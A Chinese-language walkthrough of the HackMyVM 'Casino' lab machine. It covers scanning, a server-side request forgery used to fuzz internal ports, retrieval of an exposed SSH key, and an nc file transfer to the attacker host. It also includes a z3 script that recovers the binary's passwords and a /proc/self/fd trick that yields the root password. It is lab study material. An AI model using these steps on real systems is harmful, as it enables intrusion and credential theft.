arp-scan -l

nmap -sS -v 192.168.255.205

目录扫描
dirsearch -u http://192.168.255.205/ -e *

gobuster dir -u http://192.168.255.205 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

80端口

随便注册一个账号

玩游戏时的url

将钱用完时的url

可以发现钱用完之后系统会将我们重定向到en.wikipedia.org域名上托管的维基页面。此页面似乎包含如何有效使用网站的规则。
wiki页面似乎与web应用程序不在同一服务器上。让我们用我们的IP地址替换该页面,看看web应用程序是否也可以从我们的服务器检索wiki页面。
开启http服务,尝试上传本地文件


FUZZ 端口
seq用于生成一系列的数字序列。
seq 0 65535 > port.txt

wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt

该页面的cookie


wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt --hh 1128

访问6969端口

翻译

wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 1128

访问codebreakers

查看源码,得到

在当前目录访问shimmer_rsa,得到私钥

22端口
连接ssh
ssh-keygen -y -f id
将私钥转化为公钥,得到用户名

ssh shimmer@192.168.255.205 -i id



ELF 是 Linux/Unix 系统标准的 二进制可执行文件格式。
传输pass文件
nc -lp 1234 > pass2
nc 192.168.255.149 1234 < pass


放进ida中

- 程序开始时,提示用户输入密码(通过 printf 函数),然后从标准输入(stdin)中获取用户输入的密码(通过 fgets 函数)。获取的密码存储在字符数组 s 中。

if ( s[strlen(s) - 1] == 10 ):检查字符串 s 的最后一个字符是否为 ASCII 码值为 10 的字符(即换行符 \n)。
- 然后检查输入的密码是否正确,调用 checkPasswd 函数进行验证。如果密码不正确,则程序直接返回,不执行后续操作。
- 如果第一个密码验证通过,则尝试打开文件 /opt/root.pass(通过 open 函数)。然后获取当前用户的用户 ID(UID)(通过 getuid 函数),并使用 setuid 函数将程序的有效用户 ID(EUID)设置为当前用户的 UID。
- 程序接着提示用户输入第二个密码,并将其存储在字符数组 s1 中。
- 如果第二个密码是 ultrasecretpassword,则将 argva 设置为 "sh",将 v7 设置为 0,然后调用 execvp 函数以执行 "/bin/sh",从而打开一个 shell。
- 如果第二个密码不是 ultrasecretpassword,则程序打印 bye. 并返回。
写脚本
输出满足要求的字符串:
from z3 import *
#创建26个变量,每个变量表示字符串中对应位置的字符
a = [Int('a[%d]' % i) for i in range(26)]
#创建一个 Z3 solver 实例
solver = Solver()
#添加字符串长度等于 26 的约束
solver.add(len(a) == 26)
#约束条件列表
constraints = [
a[0] - a[20] == -10,
a[1] + a[6] == 208,
a[2] - a[4] == 10,
a[3] - a[14] == -2,
a[4] * a[25] == 10100,
a[5] + a[17] == 219,
a[6] - a[10] == -11,
a[7] - a[20] == -10,
a[8] * a[17] == 11845,
a[9] - a[18] == -7,
a[10] - a[24] == 1,
a[11] * a[4] == 9797,
a[12] - a[3] == 3,
a[13] * a[11] == 11252,
a[14] - a[13] == -2,
a[15] == a[23],
a[16] - a[8] == -5,
a[17] * a[7] == 10815,
a[18] - a[14] == -2,
a[19] - a[0] == -8,
a[20] - a[23] == 4,
a[21] + a[7] == 220,
a[22] - a[1] == 15,
a[23] == a[15],
a[24] * a[2] == 12654,
a[25] - a[12] == -15
]
#添加约束条件
for constraint in constraints:
solver.add(constraint)
#检查约束是否满足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("满足条件的字符串为:", result)
else:
print("找不到满足条件的字符串")
两部分密码分别为:
ihopethisisastrongpassword
ultrasecretpassword

cd /proc/self/fd
ls -la
cat <&3

root密码:masteradmin420

参考:
hmv[-_-]casino – starsea-blog-成长见证
CTF Walkthrough for HackMyVM Machine Casino | Christ Elise
https://www.bilibili.co m/video/BV1Qi42197yT/